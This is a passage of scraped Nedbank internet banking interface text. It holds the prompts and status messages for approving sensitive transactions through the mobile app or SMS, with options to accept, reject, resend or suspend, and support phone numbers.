* changing your statement delivery options * certain investment transactions that involves re-investing, pay-out, withdrawals or maintenance thereof * Nedbank App Suite Banking Activation A message has been sent to your mobile device to confirm the transaction. You need to Accept within 1 minute using your mobile device in order to complete this transaction. Note Choosing the Reject option on your mobile device will stop the transaction from being processed. If you have any queries contact 0860 555 111 or +2711 710 4000 If you have not received a message on your mobile phone device, please click the resend button when it becomes active to resend the message to your mobile phone. You Rejected to continue with any sensitive transactions. You can continue with other non-sensitive transactions on your Internet Banking. If you have any queries contact 0860 555 111 or +2711 710 4000 You rejected to continue with this transaction. If you have any queries contact 0860 555 111 or +2711 710 4000 You Rejected to continue with this transaction. If you have any queries contact 0860 555 111 or +2711 710 4000 You cannot perform any sensitive transactions because your cellphone number is not activated for SMS Authorisation. In order to do sensitive transactions, please visit your nearest branch to re-activate SMS Authorization. If you have any queries contact 0860 555 111 or+27 11 710 4000. You cannot perform any sensitive transactions because your cellphone number is not activated for SMS Authorisation. In order to do sensitive transactions, please visit your nearest branch to re-activate SMS Authorization. If you have any queries contact 0860 555 111 or+27 11 710 4000. You have chosen the Suspend option. Your Internet Banking profile is now suspended and no further transacting is possible. If you have any queries contact 0860 555 111 or +2711 710 4000 The message sent to your mobile device has timed out. You can: * Click on Cancel to return to your Internet Banking or * Click on Resend to resend the message to your mobile device. If you have any queries contact 0860 555 111 or +2711 710 4000 Busy making a connection to your phone... A technical error occured. If you have any queries contact 0860 555 111 or +2711 710 4000 You canceled on your phone. You can: * Click on Cancel to return to your Internet Banking or * Click on Resend to resend the message to your mobile device. If you have any queries contact 0860 555 111 or +2711 710 4000